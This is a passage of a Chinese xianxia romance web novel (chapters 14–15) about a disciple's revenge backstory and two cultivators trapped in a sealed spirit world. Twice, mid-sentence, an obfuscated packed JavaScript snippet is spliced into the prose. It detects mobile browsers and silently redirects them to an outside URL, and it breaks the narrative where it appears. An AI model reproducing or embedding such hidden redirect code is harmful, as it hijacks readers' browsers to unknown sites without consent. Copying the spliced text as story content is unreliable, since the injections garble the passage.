那团澄净的五蕴之力,无风自动,稳稳落至她掌心,温顺得如同初春嫩芽。 与此同时,段行容身上的煞气以肉眼可见的速度消散。 眉心赤光熄灭,衣袍上血污与戾气被符光涤净,那双冰冷孤绝的眼眸,渐渐褪去疯狂,一点点恢复清明。 青绫鞭“啪嗒”一声垂落。 漫天符光缓缓收拢,将残余怨气尽数压入深坑。 祝小筱指尖一引,万怨归镇符从天而降,覆在坑口之上,金光流转,层层叠叠的符纹将深坑牢牢封印,不留一丝怨气外泄。 风停了。 血雨般的枫叶不再坠落,枫林腹地,终于恢复死寂的安宁。 池宜松时生双双收势,踉跄着扶住彼此才勉强站稳。 银殊的枝蔓片片焦枯,缓缓收回地面,树身微微颤抖,几乎虚脱,瞬间化作一片银杏叶落回池宜的乾坤袋里。 陆明修与一众弟子瘫坐满地,人人带伤,衣衫染血,却齐齐松了一口气。 祝小筱站在中央,掌心托着温润澄净的五蕴石,周身符光渐息。 “我做到了...”说完,祝小筱晕厥过去,池宜来不及接住她,一声喝令,荷叶毯稳稳托住将她放在地面。 五蕴石身莹白温润,流转着澄澈如月华的纯真灵力,微光自石心缓缓漾开,化作漫天光辉,如朝露落,似灵雨飞,轻轻洒向遍体鳞伤的众人,洒向枯败狼藉的枫林。 枫叶不再常绿,是漫山遍野的红。那道溪水发出潺潺声,几尾游鱼竞跃。 枯木重生,浊气散尽,阴云散去,天光洒落。 曾经被怨毒笼罩的死地,此刻重归山清水秀,灵气盎然,不负“望仙村”之名。 段行容望着眼前焕然一新的山林,望着空落的掌心,望着眼前浴火重生的众人,长久沉默。 “我没什么可说的...” 她周身紧绷的气力骤然散尽,眼前一黑,身子软软一歪,便彻底失去了意识,径直倒了下去。 14. 故人入我梦(3) “我没什么可说的。” 段行容昏迷一天一夜,醒来后发现自己在鏖战前夜所宿的山洞,一时间几人相对无言。 “师姐,你的手还疼吗。”池宜与她对面席地而坐,池宜已经平静地接受了段行容拉着共赴黄泉的事实。 段行容昏迷期间,她的双手露出原本模样——十指溃烂露出白骨,触目惊心,透着一股濒死的凄冷。 “疼。” 此刻她却猛地起身,飞扑到段行容身侧,她飞扑到段行容身边,小心翼翼地将她揽在自己怀里,一如曾经段行容这般安慰自己。 “师姐,你怎么了啊,这些年到底发生什么了。” 其余几人见状,皆是默契地转身退出山洞,将这方狭小的空间,留给了这对历经磨难的师姐妹。 被池宜拥在怀中,段行容垂着眼,看着自己那双溃烂的手。 良久,才缓缓开口,声音轻得像一缕随时会散的烟,诉说着尘封多年的过往。 “我出身医药世家,八岁那年,满门遭仇杀,只剩我一人苟活。 后来遇上了一个江湖杀手,他叫,闵子溪。”提到这个名字,她的神色终于缓和下来。 “他是孤儿,救下我后,我们二人相依为命,住在这儿,也就是望仙村。他每次归来,都浑身是伤,我守着他,一点点为他疗伤换药。 再后来,我因医药天赋被上清山选中,在扶虞仙尊座下修行,可我们从未断过联系。每逢我下山义诊,他总会寻来,安安静静陪在我身边。可那一次,我在望仙村等了他许久,终究没等到人,只在泥石流的废墟里,捡到了他贴身的玉佩。” 她的声音微微发颤,指尖无意识地蜷缩,溃烂的伤口扯得生疼,却不及心口万分之一的痛。 “我追查许久才知,他并非死于江湖仇杀,是官府联手围剿,为了掩盖赈灾银失窃的丑事,硬生生将污名扣在他头上,杀了他,割下头颅挂在城墙示众,身躯更是被挫骨扬灰,连一丝骨灰都没留下。” “那年我十六岁,便立了誓,要为他报仇雪恨。” 短短数语,道尽半生悲苦,池宜听得浑身发颤,泪水流得更凶,哽咽着问:“师姐,你的手……是因为复仇,才变成这样的吗?” “是我学到了一种禁术,想传将逝者面容亲手绣在这方帕上,可以为逝者续命,只是绣者双手溃烂,终生不得愈合。”她自嘲般盯着这双手,“每日以假手假面示人,生怕自己有半分疏漏。” “你是从什么时候发现我的。” 早在银殊利用银杏叶传信息之前,闲渡在六日闭关时告诉她的两件事——其中一件就是,上清山内鬼在几人之间,留给她一件从天庭得来的秘宝。 留影石这个法器,池宜也是第一次见到,被她一直当做挂饰系在剑柄上。 留宿客栈那日,松时生看的影子,是段行容在下摄魂香。 此香不损耗心脉,一会让闻香者在过度使用灵力后陷入昏迷,是以池宜与泣珠姬交手后才会晕过去。 段行容不仅算漏了天界还有这样的宝物——作为凡人,谁能料到世间有什么呢?而且,她并不知道池宜有双境,只要星辰境不受影响,她随时可以醒来。 池宜顺着她的计谋,并没有当场醒来,银殊给她带的口信是: “段行容与枫眠共用一体。” 至此,她要等一个让段行容不将自己视作是一个威胁的机会。 “但是,师姐你并没有履行对枫眠的承诺。” 枫眠没能等到爱人复活,重新化为枫树,若是想修炼成形,又是千年时光。 “各取所需罢了。” 话音落下,山洞里再度陷入沉寂,唯有烛火噼啪作响,一道落寞的影子,再无解脱之日。 “你是不是好奇我在扶虞仙尊眼底下,是如何做到的。” “是枫眠找到的我。人生就是这么巧,我这把九转青绫鞭所成材料,来自齐云山。她的灵魂寄生在青绫鞭里,我用丹修灵力滋养她。 扶虞仙尊是个好师父,她倾尽所能,将功法传授于我。” 提及扶虞,她眼神中浮现一抹愧疚,池宜心下明了,扶虞仙尊的毒素,并不会要了她的命。 又听她继续说: “我学会了早就被禁用的诱妖香和控妖散,引妖兽入枫林腹地,借药香令其袭杀修士。说来奇怪,望仙村凭空多了这么多妖兽,那些自诩正义的神仙们,当真是作壁上观,给了枫眠和我一个天大良机。 每旬下山义诊,那些散落各地的怨气被我带回望仙村,封锁地下。 五蕴石能出现在枫眠本体内,是她说两百多年前有一仙人云游至此。此地刚经历仙妖大战,她受此波及,几乎成枯木,被仙人救活,体内自然也保存下五蕴之力。 不过这件事是真是假我就不得而知,毕竟我只是凡人。 时机成熟,妖兽开始主动出山攻击修士,引诱他们来到这里,再一举歼灭。只差一点,就只差一点。” 池宜问出心里的疑问:“你是如何同英招有了联系?” “我还没有通天能力驱使神兽,英招这件事,确实与我二人无关。” 池宜的怀抱尚带着暖意,段行容却猛地挣开,脸上那点残存的脆弱尽数褪去 她垂眸瞥了眼自己溃烂见骨的双手,指尖随意摩挲着溃烂的皮肉,疼得眉峰微挑:“哭什么?我都没哭,你倒比我还伤心。” “复仇走到这一步,成也好,败也罢,我早没所谓了。”她靠在冰冷的石壁上,笑得肆意又悲凉,“闵子溪没了,我这双手废了,禁术噬心蚀骨,活着本就是熬日子。如今后路尽断,我不想活了,你们想杀想剐,随意处置便是,别来跟我讲什么大道理,听得心烦。” 池宜望着她这副破罐破摔的模样,心口堵得发慌,张了张嘴,却不知该如何劝慰。 眼前的段行容,褪去了伪装的温和,只剩满身尖刺与死寂,像是燃尽了最后一点星火的灰烬,连挣扎都懒得再做。 “小池师姐,吃点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319214|199030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭吧。”银殊煲好了汤,陆明修负责炒菜,外面好生忙活一顿,做了够二十来人的饭菜。 “天大的事,也得吃饭。” 池宜不会和自己身体过不去,段行容不为所动,她也不勉强,一个人往伙伴身边走去。 吃饭的时候,有人提到何时动身回山,陆明修道:“现在外面情况不明,明日晨起再动身离开。” 众人吃到一半,松时生才从外面赶回,把染血的青白劲装换成了绣着仙鹤的湖蓝外袍,披肩轻盈地挂在两侧。 “你去哪里啦?”池宜揽手示意他坐下吃饭,“饭菜快凉了,也不见你回来。” “没什么,四处走走罢了。” “缓缓多吃点,正是长身体的时候。”祝小筱非常不爽地隔开二人距离,不停地给她夹菜,碗里堆着菜肴。 后半夜,所有人睡在洞穴里,段行容被下了禁行咒,便是插翅也难飞。 池宜翻天覆去睡不着,轻手轻脚走出结界,走着走着,就又到了白日里激战的地方。 五蕴石将此处恢复原状,枫眠本体静静沉睡,原本煞寂凄清的枫林,现在蕴藏暖意。 走到一处影壁,上面刻满了密密麻麻的线条。 夜风拂过枫林,簌簌作响,池宜正凝神望着那些纹路,身后忽然传来极轻的脚步声。 她心头一紧,骤然回身,便撞进一双清冷淡漠的眸中。 松时生立一臂距离处,衣袂被晚风拂动,眉眼间带着几分不易察觉的怔忡。 四目相对,两人皆是一愣。 “唔……” 一声极轻的闷哼从他喉间溢出。 松时生脸色瞬间惨白,清俊的眉眼紧蹙,原本澄澈的眸底掠过一丝猩红。经脉如被万千冰针穿刺,剧痛直冲识海。 他来不及运功压制,眼前一黑,身躯微微一晃,直直昏了过去。 “诶——” 池宜心惊:坏了,冲我碰瓷来的! 池宜心头一慌,下意识上前半步,堪堪将那软倒的身躯揽入怀中。 温凉的气息瞬间贴紧了她的衣襟,松时生沉重的手臂无意识地搭住她的肩颈,整个人倚靠着她,呼吸微弱而急促。 那股平日里清冽如寒泉的气息,此刻混着一丝极淡的血腥气,让池宜莫名地心慌意乱。 “松时生,你怎么样?”她绷紧了小脸,伸手去探他的脉搏,指尖却触到一片滚烫。 就在这时,两人交叠相抵的掌心处,忽然毫无征兆地亮起了一抹璀璨夺目的金光。 池宜翻过自己手心,又紧盯着松时生右手手心,仿佛出自同一种力量,让人不由自主得靠近,去探索。 真是邪了门了。 池宜正惊疑不定,影壁上的纹路再次亮起,那密密麻麻的线条飞速旋转,竟在两人面前凝聚成了一面半透明的光镜。 光镜之中,隐约映出一对并肩而立的身影——红衣似火,白衣胜雪,正含笑回首,眉眼间的模样,与此刻此景竟有七分相似。 15. 故人入我梦(4) 天旋地转间,池宜被眼前快速变幻的景象产生的冲击刺得睁不开眼,双眸紧闭,就连揽着松时生的力道也渐渐加重。 “唰——” 头顶太阳毒辣,想要把人和大地融为一体,林间偶尔一阵清风,还夹杂着几声清脆的蝉鸣。 松时生靠在她身上太久,压得肩膀发酸,她单手扶住松时生,把他放在草地上,自己在附近走动,活动一下筋骨。 此处有一片清溪,顺着小径往远处望去,竹林间藏着一座小屋。 “嗝——”浮盈在外吃了个饱餐,舒服地睡了个美觉,“这里一点怨气都没有,漂亮道长姐姐安全了。” “没想到你还是个饕餮,一下吃那么多不怕消化不良。” “你们这些凡人,一点都不懂我们妖修有多难!不与你讲话了!”浮盈是只有气性的水妖,一言不合就冷暴力。 池宜望着草地上昏沉未醒的松时生,眉头微蹙,正思索着该如何安置他,身后便传来一阵轻缓的脚步声。 那脚步声不疾不徐,踏在青石与落叶之上,清浅无声,却自带一种温润沉静的气场。 池宜骤然回身,便见一道身影自竹林深处缓步走来。 男子身着素色布衣,料子寻常,却被他穿得清隽挺拔,周身无半分饰物,朴素却难掩风骨,一眼望去,便知绝非寻常山野之人。 他目光先落在昏迷的松时生身上,眸中掠过一丝浅淡的关切,声音温和如清泉淌石: “姑娘一路奔波,这位公子伤势不轻,不如先随我入竹屋歇息片刻,我这里有安神的草药。” “贸然造访,不知此处是何地?” 他道:“安详之地。” 池宜心想:说了等于白说。 “如果我想害你们,你们怎么逃都没用。随我来吧。” 于是,池宜跟在他身后,把松时生放在荷叶毯上,沿着青石小径,拖着松时生往竹屋走去。 一路竹影婆娑,阳光透过竹叶缝隙落下斑驳碎金,空气中弥漫着竹香与草木的清甜,清幽得让人心神俱静。 竹屋不大,却收拾得干净雅致,推门而入,一股淡淡的枫香扑面而来,与竹香交织,格外好闻。 屋内陈设极简,一张竹床,一方木桌,几把竹椅,墙角摆着几株绿植,除此之外,最惹眼的,便是四面墙壁上,挂满了风干的枫叶。 枫叶...枫眠! “等等,你是,于子归?” 于子归见状,也不绕弯子,向她作揖:“正是在下。” 于子归取来一盏清茶,递到池宜面前:“姑娘先饮杯茶压压惊,此地是我栖身之所,安全无虞。” 她本以为于子归是魂飞魄散去不了轮回才让枫眠走上极端,没想到他的魂魄竟然被完整地保留下来。 她望着眼前魂体澄澈、温润依旧的于子归,忍不住开口:“我以为……你早已入轮回,为何会在此地?” 于子归走到墙边,抬手轻轻拂过一片火红的枫叶,指尖穿过虚影,缓缓开口,诉说一段尘封的过往。 “我本是天算子座下弟子,生来带仙缘,修行百年,窥得几分天机,却因动了凡心,自请堕入凡尘,历劫修行。本以为凡尘一世,缘尽便归位,却不曾想,遇见了她。” “凡人一世,死了还能入轮回。但我身上带有仙缘,死了便是死了。若我是妖,在人世间留下些一肢半体兴许还能入轮回。 凭着一丝仙缘与执念,以魂体之态,守在她身边。我想陪着她,看遍人间四季,守着她岁岁平安。” 说到此处,于子归的眸色渐渐沉了下去,染上几分苦涩与无奈。 “可她接受不了我的死,将我放在这第二世界。她听闻怨念可聚魂、可逆命,便走上了那条最险的路。试图逆天改命,把我拉回人间。” 一盏茶饮尽,于子归还在将被尘封的那段往事。 “不知怎的,那日齐云山来了各路神通,好不热闹。我的爱人在那场战斗中受到重伤,就在我一筹莫展之际,一位仙人出手为她疗伤续命,更以一股至纯之力渡她,助她稳住根基。” “后来才知道,那人是万象主奚川神尊。只可惜,那是他留下的为数不多的在人间的踪迹。” 他顿了顿,眸中泛起一丝微光,语气轻得像叹息:“也是那番机缘,仙者的五蕴之力浩荡纯粹,无意间顺着我与她之间的魂契流转,悄无声息滋养着我这缕漂泊的残魂。若非如此,我早已在无尽等待中烟消云散。” “所以,你是陪着她一步步走上不归路的。”池宜听后心里不免唏嘘,有情人终究天各一方。 “我爱她,所以我希望她活着。她爱我,所以也希望我能活着陪她。她只是,没有办法......” “我不愿看她为我万劫不复,她恼我不懂她的心意,又怕我继续阻拦,便亲手以禁术,造了这方隔绝尘世的第二世界,将我的魂魄牢牢封印于此,断了我所有能劝阻她的可能。” “我怎会不懂呢,我怎么会不懂呢。”于子归的情绪出现波动,眼底尽是悲怆。 “我被封印在此,不知外界岁月流转,只日复一日,她每日都会来这里陪我,尽管她看不到我。我以为,我会永远困在这里,看着她为我耗尽一切,直至魂飞魄散。 却不曾想,有一日,封印骤然碎裂,我挣脱束缚,睁眼便看到……她站在血光之中,一身红衣染尽血色,笑着对我说:‘子归,我试过了,我救不回你,那我就来陪你。’我知道,她献祭了,只留给我一地枫叶。” “有时候我在想,我到底有什么值得她舍弃百年修为。或许如果是她死我面前,我不一定会比她更冷静。” 便在此时,竹床之上忽然传来一声轻咳。 池宜心头一紧,猛地回头。 松时生睫毛颤了颤,缓缓睁开眼。他抬眼,目光落在池宜身上。 刚从混沌中醒转,他面色仍泛着病态的白,气息微促,视线虚浮,显然神魂尚未完全归位,整个人透着一股难以掩饰的虚弱。 松时生觉得后背一阵酸痛,像是在沉睡的时候被人反复捶打。 池宜站直身子,拍了拍手,语气轻快又带着点促狭:“醒啦?一路昏得像块石头,可算没白扛你。” 松时生望着她近在咫尺的脸,眸色柔得不像话,抬手,指尖轻轻碰了碰她的脸颊,像是怕她消失一般,动作轻而小心。 “诶诶诶,别动手动脚。等会我还手,传出去又说我们乐天道人多势众欺负你们。你们无情道弟子挺爱传桃花事,虽然这里没有别人,但是...” “诶,我虽然是魂魄一具,但是好歹尊重下我啊。”于子归幽怨道。 松时生醒来就注意到旁边另一个人的存在,见他开口眉头一皱。 池宜俨然一副夫子模样提点松时生,说道: “古人云:‘君子慎独,不欺暗室。’你注意一下你的言行举止。” 他声音放轻,他坐起身,指尖轻轻叩了叩床边,似在澄清:“我无情道修的是本心,旁人如何传,与我无关。” 他抬眼,目光落定在她脸上,清浅却笃定:“我从未与谁有过暧昧,也从未让任何人,有过可传的闲话。” 池宜被他看得心头一跳,一时竟接不上话,只觉得脸颊微微发烫,慌忙别开脸,嘴硬道:“谁、谁管你那些……反正现在你守规矩就对了。” 于子归立在一旁,听着二人对话,眸底漾开浅淡笑意,语气温缓带几分打趣:“二位这般……倒是让在下猜不透渊源了。” 池宜这才想起未曾通名,拱手见礼,声线清朗自持:“在下上清山乐天道池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319215|199030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜,师承闲渡仙君。” 松时生亦随之颔首见礼,声线清冽:“上清松时生。” 于子归故作恍然,温声问道:“池姑娘与松公子,同出上清一门?” 松时生淡淡应声:“我师承无情道素真仙君。” “原来如此。”于子归尾音拖长,眸中笑意更深,一副了然打趣的模样,耐人寻味地轻嗟一声,“亏得我多问一句,险些错判了……哈哈哈。” 松时生抬眸,淡淡扫了于子归一眼。 于子归何等通透,当即会意,笑着收了戏谑神色,抬手轻拂过身侧枫叶,温声转开话题:“是我失言,二位皆是上清翘楚,气度不凡。” 池宜未曾在意二人之间的暗涌,只垂眸理了理衣袖,语气沉静:“于公子不必客气,我等误入此地,叨扰了。你可知有什么办法能出去吗。” 松时生亦未再多言,只闭目调息,周身气息清寂,再无半分多余神色。 于子归正色道:“此界禁灵,你们灵力尽失。想离开,需打开执念锁。” 池宜眼睛一亮,兴致盎然:“锁?怎么开?” “不用灵力,不用武力,只凭心性、定力、默契。”于子归道,“锁心随人动,一人乱,全盘错。” “不过,我算的你们二人,打不开这把锁。” 池宜当下心里就升起逆反心,偏要拉着松时生一试。等松时生打坐调息完毕,带着他去到小院里。 于子归出不得这第二世界是因为他有执念,池宜自问心中无执念,松时生早就断情绝爱,这还能难倒自己? 于子归唤出执念锁,石台古朴,纹路斑驳,台心正中,静静悬着一枚半掌大的锁。 那锁通体莹白,似玉非玉,表面刻着细密繁复的纹路,无风自动,隐隐泛着极淡的光晕,却无半分戾气,只透着一股沉滞不散的执念。 池宜眼睛一亮,快步走上前,围着石台转了一圈,指尖悬在锁前,却没碰,语气兴致盎然:“这就是执念锁?看着倒挺好看。” 她说话时,身子微微倾近,语气轻快,气息若有似无拂过,距离近得能看清他眼睫的弧度。话音一落,她又立刻直起身,退开半步。 松时生喉头微不可察地动了一下,面上依旧平静,只缓缓点头:“如何做?” 池宜指尖轻点下巴,思索片刻,忽然看向他,笑得眉眼弯弯:“简单。你站那边,我站这边。” 她说得干脆,带着几分不容置喙的命令,却又语气轻快,毫无压迫感,只像随口吩咐。 松时生依言走到石台另一侧,身姿站得端正,抬眸看向她。 阳光落在她发梢,镀上一层浅金,她眉眼灵动,笑意鲜活,与无情道清冷截然不同,像一团永远烧不熄的光,耀眼,却又不灼人。 池宜见他站定,抬手轻轻放在执念锁一侧,指尖刚触到冰凉的表面,那锁忽然微微一震,表面纹路瞬间亮起淡光。 “来了。”她语气一敛,笑意收了些许,却依旧不见半分紧张,“稳住。” 松时生亦缓缓抬手,指尖落在锁的另一侧。 两人指尖一左一右,同时贴在执念锁上,并未相碰,距离却近得只差分毫。 锁身光芒骤乱,原本温和的纹路骤然绷紧,发出细微的嗡鸣。 松时生指尖微颤,眸色沉下去,心神被自身执念勾动,越想压制,越被缠得紧。 和当初进入幻境缠斗时的情形一般无二。 松时生闭了闭眼,再睁开时,声线微哑:“我开不了。” 池宜一愣,随即挑眉:“开不了?无情道定力不是最好?” 松时生垂眸,指尖缓缓离开锁面,语气淡却沉,“是我心有执念,被它牵引,反受其制。” 越是压抑的执念,在执念锁前,越是无处遁形。